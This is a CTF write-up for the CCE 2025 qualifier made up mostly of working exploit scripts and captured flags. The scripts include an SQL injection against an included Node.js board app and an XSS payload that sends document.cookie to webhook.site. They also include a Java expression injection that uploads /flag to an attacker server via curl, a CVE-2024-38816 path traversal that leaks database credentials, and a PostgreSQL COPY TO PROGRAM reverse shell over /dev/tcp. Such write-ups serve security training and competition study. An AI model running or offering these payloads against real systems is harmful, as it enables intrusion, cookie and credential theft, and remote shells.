CCE 2025 Qual
Published on 16 Aug 2025
CCE 2025 Qual
대회 일정
2025-08-16 09:00 ~ 2024-08-16 18:00
대회 후기
Writeup
Photo Editing
Exploit Code
Flag
cce2025{d4a146967dba7b62351d1669bbe56e21d6d9f1ac5a4820d7b5f26fc01bea0eac13859f206291512771f6ce8fc3246f97e6ecf3}
jsboard
app.js
const express = require("express");
const { spawn } = require("child_process");
const path = require("path");
const { Parser } = require("node-sql-parser");
const app = express();
const PORT = process.env.PORT || 3000;
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, "../public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));
const dbConfig = {
host: process.env.DB_HOST || "mysql",
user: process.env.DB_USER || "[**REDACTED**]",
password: process.env.DB_PASSWORD || "[**REDACTED**]",
database: process.env.DB_NAME || "board_db",
port: process.env.DB_PORT || 3306,
};
const parser = new Parser();
function executeQuery(query) {
return new Promise((resolve, reject) => {
const args = [
`-h${dbConfig.host}`,
`-P${dbConfig.port}`,
`-u${dbConfig.user}`,
`-p${dbConfig.password}`,
dbConfig.database,
"-e",
query,
"--batch",
"--ssl=0",
];
const mysqlProcess = spawn("mariadb", args);
let stdout = "";
let stderr = "";
mysqlProcess.stdout.on("data", (data) => {
stdout += data.toString();
});
mysqlProcess.stderr.on("data", (data) => {
stderr += data.toString();
});
mysqlProcess.on("close", (code) => {
if (code !== 0) {
console.error("MySQL execution error:", stderr);
reject(new Error(stderr || "MySQL execution failed"));
return;
}
if (stderr) {
console.error("MySQL stderr:", stderr);
reject(new Error(stderr));
return;
}
console.log(stdout);
const lines = stdout.trim().split("\n");
if (lines.length <= 1) {
resolve([]);
return;
}
const headers = lines[0].split("\t");
const results = [];
for (let i = 1; i < lines.length; i++) {
const values = lines[i].split("\t");
const row = {};
headers.forEach((header, index) => {
row[header] = values[index];
});
results.push(row);
}
resolve(results);
});
mysqlProcess.on("error", (error) => {
console.error("Process error:", error);
reject(error);
});
});
}
app.get("/", (req, res) => {
const column = req.query.column || "created_at";
let direction = req.query.direction || "DESC";
if (direction !== "ASC" && direction !== "DESC") {
direction = "DESC";
}
const query = `SELECT id, title, author, created_at FROM posts ORDER BY ${column} ${direction}`;
if (query.includes("!")) {
return res.status(400).render("error", { message: "Invalid query." });
}
try {
const ast = parser.astify(query);
if (typeof ast !== "object") {
throw new Error("Invalid query.");
}
if (!ast || ast.type !== "select") {
throw new Error("Invalid query.");
}
const allowedAstKeys = [
"with",
"type",
"options",
"distinct",
"columns",
"into",
"from",
"where",
"groupby",
"having",
"orderby",
"limit",
"locking_read",
"window",
"collate",
];
const astKeys = Object.keys(ast);
for (const key of astKeys) {
if (!allowedAstKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
const allowedColumns = ["id", "title", "author", "created_at"];
const selectedColumns = ast.columns.map((col) => col.expr.column);
for (const col of selectedColumns) {
if (!allowedColumns.includes(col)) {
throw new Error("Invalid query.");
}
}
if (ast.from && ast.from.length > 0) {
const tableName = ast.from[0].table;
if (tableName !== "posts") {
throw new Error("Invalid query.");
}
}
if (ast.orderby && ast.orderby.length > 0) {
for (const order of ast.orderby) {
if (order.expr.type != "column_ref") {
throw new Error("Invalid query.");
}
if (order.expr.table !== null) {
throw new Error("Invalid query.");
}
if (order.expr.collate !== null) {
throw new Error("Invalid query.");
}
if (order.type !== "ASC" && order.type !== "DESC") {
throw new Error("Invalid query.");
}
const allowedKeys = ["expr", "type"];
const orderKeys = Object.keys(order);
for (const key of orderKeys) {
if (!allowedKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
const allowedExprKeys = ["type", "table", "column", "collate"];
const exprKeys = Object.keys(order.expr);
for (const key of exprKeys) {
if (!allowedExprKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
}
}
if (ast.orderby && ast.orderby.length !== 1) {
throw new Error("Invalid query.");
}
if (
ast.with !== null ||
ast.options !== null ||
ast.distinct !== null ||
ast.where !== null ||
ast.groupby !== null ||
ast.having !== null ||
ast.limit !== null ||
ast.locking_read !== null ||
ast.window !== null ||
ast.collate !== null
) {
throw new Error("Invalid query.");
}
if (ast.into.position !== null) {
throw new Error("Invalid query.");
}
if (ast.into) {
const allowedIntoKeys = ["position"];
const intoKeys = Object.keys(ast.into);
for (const key of intoKeys) {
if (!allowedIntoKeys.includes(key)) {
throw new Error("Invalid query.");
}
}
}
} catch (error) {
console.error("SQL parsing error:", error.message);
return res.status(400).render("error", { message: error.message });
}
executeQuery(query)
.then((rows) => {
res.render("index", {
posts: rows,
currentColumn: column,
currentDirection: direction,
});
})
.catch((error) => {
console.error("Database error:", error);
return res
.status(500)
.render("error", { message: "Server error occurred." });
});
});
Exploit Code
import requests
import re
URL = "http://3.34.254.202"
column = "created_at ASC--; select flag from flag--"
# /*/*/`*/if(ascii(substr((select flag from flag),1,1))>63,sleep(0.2),1)%23`
r = requests.get(
f"{URL}/?column={column}&direction=DESC"
)
print(r.status_code)
flag_extract_pattern = "cce2025{.*}"
flag = re.findall(flag_extract_pattern, r.text)[0].strip()
print(f"FLAG: {flag}")
Flag
cce2025{5e1ce3d915a4b59c3de715572da7cb4d}
Memopad
Exploit Code
9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af
location.href="https://webhook.site/6aa26b59-2090-4d7f-9996-c4ea27bf53ef/?x="+document.cookie;
6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1
<script src="/api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af&x=x.js"></script>
GET /api.php?key=9fa1347718cb32f1ae2ee7ce4e650edcbf9fe785e6b4db2dffc216a05d62e7af HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close
GET /api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1 HTTP/1.1
Host: 3.38.196.32:8080
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5e20322a28f86780779df326090c40da
Connection: close
http://web/api.php?key=6de1289085d5101e599d42682e1a654003502f0032a1a5c0a6f3edbc3a9943d1
Flag
cce2025{4bb895b6f10b34628d1d31d97acb}
Extract Service
Exploit Code
from requests import Session
import zipfile
import random
import os
import re
URL = "http://3.36.12.181"
SERVER_IP = "54.180.80.1"
SERVER_PORT = "8080"
s = Session()
data = {
"email": f"test{random.randint(10000,99999)}@gmail.com",
"password": f"test{random.randint(10000,99999)}",
"name": f"test{random.randint(10000,99999)}"
}
# Register
r = s.post(
f"{URL}/auth/register",
data=data,
allow_redirects=False
)
print(r.status_code)
print(r.headers)
# Login
if "success" in r.headers.get("Location"):
s.post(
f"{URL}/auth/login",
data={
"email": data["email"],
"password": data["password"]
},
allow_redirects=False
)
# Zip Upload
filename = "exploit.zip"
if os.path.exists(filename):
os.remove(filename)
try:
with zipfile.ZipFile(f"./{filename}", mode="w") as zf:
payload="${\"\".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('curl -T"
payload += "/"
if SERVER_PORT == "80":
payload += f"flag {SERVER_IP}')}}"
else:
payload += f"flag {SERVER_IP}:{SERVER_PORT}')}}"
final_payload = f"1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/{payload}/"
print(f"Payload: {final_payload}")
print("Create Zip file!")
zf.writestr(f"{final_payload}", '')
except Exception as e:
print(e)
r = s.post(
f"{URL}/storage/upload",
files={
"file": (filename, open(filename, "rb"), "application/zip")
},
allow_redirects=False
)
r = s.get(
f"{URL}/auth/myinfo",
)
print(r.text)
uuid_extract_pattern = "[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}"
storage_id = re.findall(uuid_extract_pattern, r.text)[2].strip()
print(f"Storeage ID: {storage_id}")
r = s.get(
f"{URL}/storage/unzip/{storage_id}",
allow_redirects=False
)
print("Exploit Trigger!")
Flag
cce2025{353f1df0235ba7c3949322c4be3d98426b1778b79487cecbfd07dc73edb507e3f0002ea9248bfdfe8b90282528ac8a42391d959bf7e463211a7e8369}
Facility access reservation system
Exploit Code
import requests
URL = "http://16.184.32.150"
# CVE-2024-38816
r = requests.get(
f"{URL}/static/img/%2e%2e/src/main/resources/application.yml"
)
print(r.status_code)
print(r.text)
"""
spring:
application:
name: entry-reservation-system
datasource:
url: jdbc:postgresql://0.0.0.0:5432/reservation_db
username: reservation_user
password: \!@#rEserV@ti0n_pAssw0rd
driver-class-name: org.postgresql.Driver
...
"""
import psycopg2
conn = psycopg2.connect(
host="16.184.32.150",
dbname="reservation_db",
user="reservation_user",
password="!@#rEserV@ti0n_pAssw0rd",
port=5432
)
cur = conn.cursor()
cur.execute("copy reservations TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/[server]/8888 0>&1\"'")
print(cur.fetchone())
conn.close()
Flag
cce2025{b7ded3b5d27a6aa3943e39b917a8854375ae6d7359b53a59c4ac39c24b57dae1db4563cc487973e52093f052bb1ee91c4ff53116afe91ad9}